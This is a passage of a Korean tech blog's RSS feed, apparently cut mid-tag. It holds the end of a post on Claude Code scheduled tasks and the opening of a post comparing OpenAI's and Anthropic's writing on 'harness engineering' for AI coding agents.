    style=&quot;background-color: #d4edda; border-left: 4px solid #28a745; padding: 15px; margin: 20px 0; border-radius: 0 8px 8px 0;&quot;&gt;
    &lt;b&gt;시작해 보기&lt;/b&gt;&lt;br /&gt;
    &lt;ul style=&quot;margin: 10px 0 0 20px; padding: 0;&quot; data-ke-list-type=&quot;disc&quot;&gt;
      &lt;li style=&quot;margin-bottom: 6px;&quot;&gt;&lt;b&gt;오늘:&lt;/b&gt; &lt;code&gt;/loop 10m check the build&lt;/code&gt;로 세션 내 반복을 경험한다.&lt;/li&gt;
      &lt;li style=&quot;margin-bottom: 6px;&quot;&gt;&lt;b&gt;이번 주:&lt;/b&gt; &lt;code&gt;/schedule&lt;/code&gt;로 Cloud 태스크 하나를 만들어 본다. CI 체크나 문서 동기화 추천.&lt;/li&gt;
      &lt;li style=&quot;margin-bottom: 6px;&quot;&gt;&lt;b&gt;한 달 후:&lt;/b&gt; &lt;a href=&quot;https://claude.ai/code/scheduled&quot; target=&quot;_blank&quot;
          rel=&quot;noopener&quot;&gt;claude.ai/code/scheduled&lt;/a&gt;에서 실행 이력을 검토하고, 프롬프트를 개선한다.&lt;/li&gt;
    &lt;/ul&gt;
  &lt;/div&gt;
  &lt;div
    style=&quot;background-color: #fff3cd; border-left: 4px solid #ffc107; padding: 15px; margin: 20px 0; border-radius: 0 8px 8px 0;&quot;&gt;
    &lt;b&gt;참고 자료&lt;/b&gt;&lt;br /&gt;
    &lt;ul style=&quot;margin: 10px 0 0 20px; padding: 0;&quot; data-ke-list-type=&quot;disc&quot;&gt;
      &lt;li style=&quot;margin-bottom: 6px;&quot;&gt;공식 문서 (CLI /loop): &lt;a
          href=&quot;https://docs.anthropic.com/en/docs/claude-code/scheduled-tasks&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;Scheduled
          Tasks&lt;/a&gt;&lt;/li&gt;
      &lt;li style=&quot;margin-bottom: 6px;&quot;&gt;공식 문서 (Cloud): &lt;a
          href=&quot;https://docs.anthropic.com/en/docs/claude-code/web-scheduled-tasks&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;Cloud
          Scheduled Tasks&lt;/a&gt;&lt;/li&gt;
      &lt;li style=&quot;margin-bottom: 6px;&quot;&gt;공식 문서 (Desktop): &lt;a href=&quot;https://docs.anthropic.com/en/docs/claude-code/desktop&quot;
          target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;Desktop App&lt;/a&gt;&lt;/li&gt;
      &lt;li style=&quot;margin-bottom: 6px;&quot;&gt;태스크 관리 웹: &lt;a href=&quot;https://claude.ai/code/scheduled&quot; target=&quot;_blank&quot;
          rel=&quot;noopener&quot;&gt;claude.ai/code/scheduled&lt;/a&gt;&lt;/li&gt;
      &lt;li style=&quot;margin-bottom: 6px;&quot;&gt;X 원문 (@claudeai): &lt;a href=&quot;https://x.com/claudeai/status/2026720870631354429&quot;
          target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;Cowork Scheduled Tasks 발표&lt;/a&gt;&lt;/li&gt;
      &lt;li style=&quot;margin-bottom: 6px;&quot;&gt;X (@noahzweben): &lt;a href=&quot;https://x.com/noahzweben/status/2035122989533163971&quot;
          target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;Cloud Scheduled Tasks + Go 트윈 라이브러리 사례&lt;/a&gt;&lt;/li&gt;
    &lt;/ul&gt;
  &lt;/div&gt;
&lt;/div&gt;</description>
      <category>AI/Claude</category>
      <category>ai 업무 자동화</category>
      <category>claude code</category>
      <category>Cowork 스케줄</category>
      <category>Scheduled Tasks</category>
      <category>백그라운드 AI</category>
      <category>스케줄 태스크</category>
      <category>코딩 AI 도구</category>
      <category>클로드 스케줄러</category>
      <category>클로드 코드</category>
      <category>프롬프트 자동화</category>
      <author>갓대희</author>
      <guid isPermaLink="true">https://goddaehee.tistory.com/566</guid>
      <comments>https://goddaehee.tistory.com/566#entry566comment</comments>
      <pubDate>Fri, 27 Mar 2026 21:00:50 +0900</pubDate>
    </item>
    <item>
      <title>&amp;quot;하네스 엔지니어링&amp;quot; - AI 에이전트 시대, 코드보다 중요한 것 : OpenAI vs Anthropic 하네스 전략 비교</title>
      <link>https://goddaehee.tistory.com/565</link>
      <description>&lt;div style=&quot;font-family: 'Pretendard', -apple-system, BlinkMacSystemFont, system-ui, sans-serif; line-height: 1.7; max-width: 900px; margin: 0 auto; font-size: 16px; box-sizing: border-box; color: #333;&quot;&gt;
&lt;p data-ke-size=&quot;size8&quot;&gt;&lt;span style=&quot;font-family: Pretendard, -apple-system, BlinkMacSystemFont, system-ui, sans-serif; letter-spacing: 0px;&quot;&gt;안녕하세요! 갓대희 입니다.&lt;/span&gt;&lt;/p&gt;
&lt;figure class=&quot;imageblock alignLeft&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;2424&quot; data-origin-height=&quot;1510&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/be1MVl/dJMcaa5MvbX/jPJZhSjzV6sNlkUeOh0pYK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/be1MVl/dJMcaa5MvbX/jPJZhSjzV6sNlkUeOh0pYK/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/be1MVl/dJMcaa5MvbX/jPJZhSjzV6sNlkUeOh0pYK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fbe1MVl%2FdJMcaa5MvbX%2FjPJZhSjzV6sNlkUeOh0pYK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;2424&quot; height=&quot;1510&quot; data-origin-width=&quot;2424&quot; data-origin-height=&quot;1510&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;

&lt;p data-ke-size=&quot;size8&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;/div&gt;
&lt;div style=&quot;font-family: 'Pretendard', -apple-system, BlinkMacSystemFont, system-ui, sans-serif; line-height: 1.8; max-width: 900px; margin: 0 auto; font-size: 16px; box-sizing: border-box; color: #333;&quot;&gt;
&lt;p data-ke-size=&quot;size8&quot;&gt;2026년 2월, OpenAI 엔지니어링 블로그에 &quot;Harness Engineering&quot;이라는 글이 올라왔다 (2026-02-11).&lt;/p&gt;
&lt;p data-ke-size=&quot;size8&quot;&gt;한 달 뒤인 2026-03-24, Anthropic도 &quot;Harness Design for Long-Running Apps&quot;를 발표했다. &lt;b&gt;AI 에이전트 시대의 양대 빅테크가 한 달 간격으로 같은 키워드의 공식 엔지니어링 블로그를 쓴 것&lt;/b&gt;이다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size8&quot;&gt;우연이 아니다. 두 회사 모두 같은 문제에 부딪혔기 때문이다 &amp;mdash; &lt;b&gt;모델이 아무리 좋아져도, 모델을 감싸는 &quot;하네스&quot;가 나쁘면 결과물이 나쁘다.&lt;/b&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size8&quot;&gt;이 글에서는 두 원문을 깊이 분석하고, 공통점과 차이점을 비교한 뒤, 실무에서 바로 적용할 수 있는 하네스 설계 원칙을 정리한다.&lt;/p&gt;
&lt;!-- 목차 --&gt;
&lt;div style=&quot;background-color: #f8fbff; padding: 20px 25px; border-radius: 12px; border: 2px solid #cce5ff; margin: 20px 0 30px 0;&quot;&gt;
&lt;h3 style=&quot;color: #0066cc; margin: 0 0 15px 0; font-size: 18px; border-bottom: 2px solid #cce5ff; padding-bottom: 10px;&quot; data-ke-size=&quot;size23&quot;&gt;목차&lt;/h3&gt;
&lt;ol style=&quot;margin: 0; padding-left: 20px; line-height: 2;&quot; data-ke-list-type=&quot;decimal&quot;&gt;
&lt;li style=&quot;margin-bottom: 5px;&quot;&gt;왜 &quot;하네스&quot;가 2026년의 화두인가&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 5px;&quot;&gt;하네스(Harness)란 무엇인가&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 5px;&quot;&gt;OpenAI의 접근: 하네스 엔지니어링
&lt;ul style=&quot;margin: 5px 0; padding-left: 20px; line-height: 1.8; list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;0줄 수동 코드, 100만 줄 제품&lt;/li&gt;
&lt;li&gt;리포지토리 = 에이전트의 세계&lt;/li&gt;
&lt;li&gt;아키텍처 강제와 엔트로피 관리&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 5px;&quot;&gt;Anthropic의 접근: 하네스 디자인
&lt;ul style=&quot;margin: 5px 0; padding-left: 20px; line-height: 1.8; list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;GAN에서 영감받은 3-에이전트 구조&lt;/li&gt;
&lt;li&gt;주관적 품질을 점수화하기&lt;/li&gt;
&lt;li&gt;모델이 좋아지면 하네스도 바뀐다&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 5px;&quot;&gt;두 접근법 비교 분석&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 5px;&quot;&gt;실무 적용: 하네스 설계 7원칙&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 5px;&quot;&gt;제한사항 및 열린 질문&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 5px;&quot;&gt;결론&lt;/li&gt;
&lt;/ol&gt;
&lt;/div&gt;
&lt;div style=&quot;background-color: #e8f4f8; padding: 20px; border-radius: 12px; border-left: 5px solid #0066cc; margin-bottom: 30px;&quot;&gt;&lt;b&gt;하네스 엔지니어링 &amp;mdash; 핵심 요약&lt;/b&gt;&lt;br /&gt;AI 코딩 에이전트의 성능은 모델 자체보다 &lt;b&gt;모델을 감싸는 환경(하네스)&lt;/b&gt;에 더 크게 좌우된다. OpenAI는 &quot;리포지토리 전체를 에이전트가 읽고 쓸 수 있는 세계로 설계하라&quot;고 말하고, Anthropic은 &quot;생성기와 평가기를 분리하여 품질 피드백 루프를 만들라&quot;고 말한다. 접근 방식은 다르지만 결론은 같다: &lt;b&gt;&quot;코드를 짜는 게 아니라 환경을 설계하는 것&quot;이 엔지니어의 새 역할이다.&lt;/b&gt;&lt;/div&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;!-- 섹션 1 --&gt;
&lt;h2 style=&quot;font-size: 24px; color: #1a3a52; margin: 35px 0 20px; padding-bottom: 10px; border-bottom: 3px solid #cce5ff; font-weight: bold;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;1. 왜 &quot;하네스&quot;가 2026년의 화두인가&lt;/b&gt;&lt;/h2&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;2025년까지 AI 코딩 도구의 논의는 주로 &lt;b&gt;모델 성능&lt;/b&gt;에 집중되어 있었다. &quot;GPT-5가 나오면 코딩 에이전트가 완성될 것이다&quot;, &quot;Opus 4.5가 긴 작업을 해결할 것이다&quot; &amp;mdash; 이런 식이었다.&lt;/p&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;하지만 2026년 초, 양대 빅테크가 연달아 발표한 엔지니어링 블로그는 다른 메시지를 전달한다.&lt;/p&gt;
&lt;table style=&quot;width: 100%; border-collapse: collapse; margin: 15px 0; font-size: 15px;&quot; data-ke-align=&quot;alignLeft&quot;&gt;
&lt;thead&gt;
&lt;tr style=&quot;background-color: #e8f4f8;&quot;&gt;
&lt;th style=&quot;padding: 10px; text-align: left; border: 1px solid #b3d9ff; font-weight: 600;&quot;&gt;회사&lt;/th&gt;
&lt;th style=&quot;padding: 10px; text-align: left; border: 1px solid #b3d9ff; font-weight: 600;&quot;&gt;글 제목&lt;/th&gt;
&lt;th style=&quot;padding: 10px; text-align: left; border: 1px solid #b3d9ff; font-weight: 600;&quot;&gt;저자&lt;/th&gt;
&lt;th style=&quot;padding: 10px; text-align: left; border: 1px solid #b3d9ff; font-weight: 600;&quot;&gt;핵심 메시지&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff;&quot;&gt;&lt;b&gt;OpenAI&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff;&quot;&gt;&lt;a href=&quot;https://openai.com/index/harness-engineering/&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;Harness Engineering&lt;/a&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff;&quot;&gt;Ryan Lopopolo&lt;/td&gt;
&lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff;&quot;&gt;&quot;Humans steer. Agents execute.&quot;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff;&quot;&gt;&lt;b&gt;Anthropic&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff;&quot;&gt;&lt;a href=&quot;https://www.anthropic.com/engineering/harness-design-long-running-apps&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;Harness Design for Long-Running Apps&lt;/a&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff;&quot;&gt;Prithvi Rajasekaran&lt;/td&gt;
&lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff;&quot;&gt;&quot;하네스의 흥미로운 조합 공간은 모델이 좋아져도 줄어들지 않는다. 이동할 뿐이다.&quot;&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;figure class=&quot;imageblock alignLeft&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;2644&quot; data-origin-height=&quot;1440&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/chTwV7/dJMcagSs1OX/vKb3xdz5q1P48wCmnQy6fk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/chTwV7/dJMcagSs1OX/vKb3xdz5q1P48wCmnQy6fk/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/chTwV7/dJMcagSs1OX/vKb3xdz5q1P48wCmnQy6fk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FchTwV7%2FdJMcagSs1OX%2FvKb3xdz5q1P48wCmnQy6fk%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;2644&quot; height=&quot;1440&quot; data-origin-width=&quot;2644&quot; data-origin-height=&quot;1440&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;

&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;두 글의 공통된 발견: &lt;b&gt;모델의 원시 능력(raw capability)이 올라가도, 하네스 없이는 복잡한 실세계 작업을 안정적으로 수행할 수 없다.&lt;/b&gt; 모델이 좋아질수록 하네스가 불필요해지는 게 아니라, 하네스가 해결할 수 있는 문제의 복잡도가 함께 올라간다.&lt;/p&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;업계의 반응도 뜨겁다. &lt;b&gt;Aaron Levie(Box CEO)&lt;/b&gt;는 X에서 &lt;i&gt;&quot;에이전트 하네스의 힘 배수(force multiplier)가 미친 수준이다&quot;&lt;/i&gt;라고 평가했고, &lt;b&gt;Martin Fowler(Thoughtworks)&lt;/b&gt;는 Birgitta Bockeler의 분석을 공유하며 &lt;i&gt;&quot;하네스가 서비스 템플릿의 새로운 형태가 될 수 있다&quot;&lt;/i&gt;고 전망했다 (&lt;a href=&quot;https://martinfowler.com/articles/exploring-gen-ai/harness-engineering.html&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;출처, 2026-02-17&lt;/a&gt;).&lt;/p&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;LangChain&lt;/b&gt;은 모델(gpt-5.2-codex)을 고정하고 하네스만 변경하여 Terminal Bench 2.0 점수를 52.8&amp;rarr;66.5로 13.7점 올린 실험 결과를 공개했다 (&lt;a href=&quot;https://blog.langchain.com/improving-deep-agents-with-harness-engineering/&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;출처, 2026-02-17&lt;/a&gt;). 한국의 &lt;a href=&quot;https://news.hada.io/topic?id=27457&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;GeekNews에서도 82포인트&lt;/a&gt;를 기록하며 화제가 되었다.&lt;/p&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;이 반응들이 보여주는 것은 하나다: &lt;b&gt;하네스는 더 이상 &quot;있으면 좋은 것&quot;이 아니라, 에이전트 코딩의 성능을 결정하는 핵심 변수&lt;/b&gt;로 인식되고 있다는 점이다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;!-- 섹션 2 --&gt;
&lt;h2 style=&quot;font-size: 24px; color: #1a3a52; margin: 35px 0 20px; padding-bottom: 10px; border-bottom: 3px solid #cce5ff; font-weight: bold;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;2. 하네스(Harness)란 무엇인가&lt;/b&gt;&lt;/h2&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;하네스(harness)는 원래 마구(馬具)를 뜻한다. 말의 힘을 제어하고 방향을 잡아주는 장치다. AI 맥락에서의 하네스도 같은 역할이다 &amp;mdash; &lt;b&gt;LLM의 능력을 특정 작업에 맞게 제어하고, 방향을 잡아주고, 결과를 검증하는 모든 것&lt;/b&gt;을 말한다.&lt;/p&gt;
&lt;div style=&quot;background-color: #f8d7da; border-left: 4px solid #dc3545; padding: 15px; margin: 20px 0; border-radius: 0 8px 8px 0;&quot;&gt;&lt;b&gt;하네스 &amp;ne; 프롬프트&lt;/b&gt;&lt;br /&gt;
&lt;p style=&quot;margin-top: 10px;&quot; data-ke-size=&quot;size16&quot;&gt;프롬프트는 하네스의 일부일 뿐이다. 하네스에는 &lt;b&gt;리포지토리 구조, 문서 체계, 린터/CI, 피드백 루프, 에이전트 간 통신 프로토콜, 컨텍스트 관리 전략&lt;/b&gt;이 모두 포함된다. OpenAI의 표현을 빌리면 &quot;에이전트가 유용한 일을 할 수 있게 해주는 도구, 추상화, 내부 구조의 총체&quot;이다.&lt;/p&gt;
&lt;/div&gt;
&lt;figure class=&quot;imageblock alignLeft&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;2626&quot; data-origin-height=&quot;1348&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bK2PmV/dJMcaa5Mvht/oC84BPWHr6CF7QpauIkOFK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bK2PmV/dJMcaa5Mvht/oC84BPWHr6CF7QpauIkOFK/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bK2PmV/dJMcaa5Mvht/oC84BPWHr6CF7QpauIkOFK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbK2PmV%2FdJMcaa5Mvht%2FoC84BPWHr6CF7QpauIkOFK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;2626&quot; height=&quot;1348&quot; data-origin-width=&quot;2626&quot; data-origin-height=&quot;1348&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;

&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;Phil Schmid(Hugging Face)&lt;/b&gt;가 제안한 비유가 직관적이다:&lt;/p&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;모델 = CPU, 컨텍스트 윈도우 = RAM, 에이전트 하네스 = 운영체제, 에이전트 = 애플리케이션&lt;/b&gt;.&lt;/p&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;CPU가 아무리 빨라도 좋은 OS 없이는 유용한 소프트웨어를 돌릴 수 없듯이, 모델이 아무리 좋아도 좋은 하네스 없이는 복잡한 작업을 안정적으로 수행할 수 없다.&lt;/p&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;LangChain&lt;/b&gt;은 이를 공식 분류 체계로 정리했다:&lt;/p&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;Agent Framework&lt;/b&gt;(LangChain) &amp;rarr; &lt;b&gt;Agent Runtime&lt;/b&gt;(LangGraph) &amp;rarr; &lt;b&gt;Agent Harness&lt;/b&gt;(DeepAgents).&lt;/p&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;&quot;에이전트 = 모델 + 하네스. 모델이 아니라면, 당신은 하네스를 만들고 있는 것이다.&quot;&lt;/p&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;구체적으로 하네스는 다음을 포함한다.&lt;/p&gt;
&lt;ul style=&quot;margin: 0 0 15px 20px; padding: 0;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li style=&quot;margin-bottom: 8px;&quot;&gt;&lt;b&gt;환경 설계&lt;/b&gt;: 에이전트가 작업할 리포지토리 구조, 문서 체계, 도구 접근성&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 8px;&quot;&gt;&lt;b&gt;작업 분해&lt;/b&gt;: 큰 목표를 에이전트가 처리할 수 있는 단위로 나누는 전략&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 8px;&quot;&gt;&lt;b&gt;품질 검증&lt;/b&gt;: 린터, 테스트, 평가 에이전트 등 결과물의 정확성을 보장하는 메커니즘&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 8px;&quot;&gt;&lt;b&gt;컨텍스트 관리&lt;/b&gt;: 긴 작업에서 컨텍스트 윈도우를 효율적으로 사용하는 전략&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 8px;&quot;&gt;&lt;b&gt;피드백 루프&lt;/b&gt;: 결과를 평가하고 개선을 반복하는 구조&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 8px;&quot;&gt;&lt;b&gt;엔트로피 관리&lt;/b&gt;: 시간이 지남에 따라 코드베이스가 썩지 않게 유지하는 프로세스&lt;/li&gt;
&lt;/ul&gt;
&lt;div style=&quot;background-color: #f0f7ff; padding: 20px; border-radius: 12px; border: 1px solid #cce5ff; margin: 20px 0;&quot;&gt;
&lt;h4 style=&quot;color: #0066cc; margin: 0 0 15px 0; font-size: 16px;&quot; data-ke-size=&quot;size20&quot;&gt;프롬프트 엔지니어링 vs 하네스 엔지니어링&lt;/h4&gt;
&lt;table style=&quot;width: 100%; border-collapse: collapse; font-size: 14px;&quot; data-ke-align=&quot;alignLeft&quot;&gt;
&lt;thead&gt;
&lt;tr style=&quot;background-color: #0066cc; color: white;&quot;&gt;
&lt;th style=&quot;padding: 10px; text-align: left; width: 25%;&quot;&gt;구분&lt;/th&gt;
&lt;th style=&quot;padding: 10px; text-align: left; width: 37.5%;&quot;&gt;프롬프트 엔지니어링&lt;/th&gt;
&lt;th style=&quot;padding: 10px; text-align: left; width: 37.5%;&quot;&gt;하네스 엔지니어링&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr style=&quot;background-color: #f8fbff;&quot;&gt;
&lt;td style=&quot;padding: 10px; font-weight: bold; border-bottom: 1px solid #e0e0e0;&quot;&gt;초점&lt;/td&gt;
&lt;td style=&quot;padding: 10px; border-bottom: 1px solid #e0e0e0;&quot;&gt;입력 텍스트 최적화&lt;/td&gt;
&lt;td style=&quot;padding: 10px; border-bottom: 1px solid #e0e0e0;&quot;&gt;모델이 작동하는 환경 설계&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 10px; font-weight: bold; border-bottom: 1px solid #e0e0e0;&quot;&gt;범위&lt;/td&gt;
&lt;td style=&quot;padding: 10px; border-bottom: 1px solid #e0e0e0;&quot;&gt;단일 요청 수준&lt;/td&gt;
&lt;td style=&quot;padding: 10px; border-bottom: 1px solid #e0e0e0;&quot;&gt;시스템 전체 수준&lt;/td&gt;
&lt;/tr&gt;
&lt;tr style=&quot;background-color: #f8fbff;&quot;&gt;
&lt;td style=&quot;padding: 10px; font-weight: bold; border-bottom: 1px solid #e0e0e0;&quot;&gt;방법&lt;/td&gt;
&lt;td style=&quot;padding: 10px; border-bottom: 1px solid #e0e0e0;&quot;&gt;지시 문구 작성/개선&lt;/td&gt;
&lt;td style=&quot;padding: 10px; border-bottom: 1px solid #e0e0e0;&quot;&gt;도구, 피드백 루프, 구조 설계&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 10px; font-weight: bold; border-bottom: 1px solid #e0e0e0;&quot;&gt;재현성&lt;/td&gt;
&lt;td style=&quot;padding: 10px; border-bottom: 1px solid #e0e0e0;&quot;&gt;낮음 (동일 프롬프트도 결과 상이)&lt;/td&gt;
&lt;td style=&quot;padding: 10px; border-bottom: 1px solid #e0e0e0;&quot;&gt;높음 (구조적 제약으로 일관성 확보)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr style=&quot;background-color: #f8fbff;&quot;&gt;
&lt;td style=&quot;padding: 10px; font-weight: bold;&quot;&gt;확장성&lt;/td&gt;
&lt;td style=&quot;padding: 10px;&quot;&gt;모델 교체 시 재작성 필요&lt;/td&gt;
&lt;td style=&quot;padding: 10px;&quot;&gt;하네스가 모델 변화를 흡수&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;/div&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;!-- 섹션 3 --&gt;
&lt;h2 style=&quot;font-size: 24px; color: #1a3a52; margin: 35px 0 20px; padding-bottom: 10px; border-bottom: 3px solid #cce5ff; font-weight: bold;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;3. OpenAI의 접근: 하네스 엔지니어링&lt;/b&gt;&lt;/h2&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;OpenAI의 글은 &lt;b&gt;5개월간 수동 코드 0줄로 내부 제품을 만든 실험&lt;/b&gt;에서 나왔다. (출처: &lt;a href=&quot;https://openai.com/index/harness-engineering/&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;OpenAI Engineering Blog, 2026-02-11&lt;/a&gt;)&lt;/p&gt;
&lt;figure class=&quot;imageblock alignLeft&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;2612&quot; data-origin-height=&quot;1424&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/PqM6a/dJMcagrnziV/ZHitlToFBJDDUiuLtLxGP0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/PqM6a/dJMcagrnziV/ZHitlToFBJDDUiuLtLxGP0/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/PqM6a/dJMcagrnziV/ZHitlToFBJDDUiuLtLxGP0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FPqM6a%2FdJMcagrnziV%2FZHitlToFBJDDUiuLtLxGP0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; 